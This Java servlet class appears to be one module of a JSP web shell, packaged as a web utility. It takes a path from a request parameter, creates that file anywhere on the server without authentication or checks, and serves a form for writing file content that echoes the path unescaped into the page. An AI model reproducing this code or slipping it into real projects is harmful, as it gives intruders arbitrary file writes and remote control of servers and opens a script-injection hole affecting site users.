package com.truthbean.jeetb.utils.web.invoker;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.File;
import java.io.PrintWriter;

public class VCreateFileInvoker extends DefaultInvoker {
    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            PrintWriter out = response.getWriter();
            String path = request.getParameter("filepath");
            File f = new File(path);
            if (!f.isAbsolute()) {
                String oldPath = path;
                path = session.getAttribute(CURRENT_DIR).toString();
                if (!path.endsWith("/"))
                    path += "/";
                path += oldPath;
                f = new File(path);
                f.createNewFile();
            } else {
                f.createNewFile();
            }
            out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>" +
                    "<form name=\"form1\" id=\"form1\" action=\"" + SHELL_NAME + "\" method=\"post\" >" +
                    "<h2>Create / Edit File &raquo;</h2>" +
                    "<input type='hidden' name='o' value='createFile'>" +
                    "<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\"" + path + "\" type=\"text\" size=\"100\"  /></p>" +
                    "<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" ></textarea></p>" +
                    "<p><input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\"  type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>" +
                    "</form>" +
                    "</td></tr></table>");
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}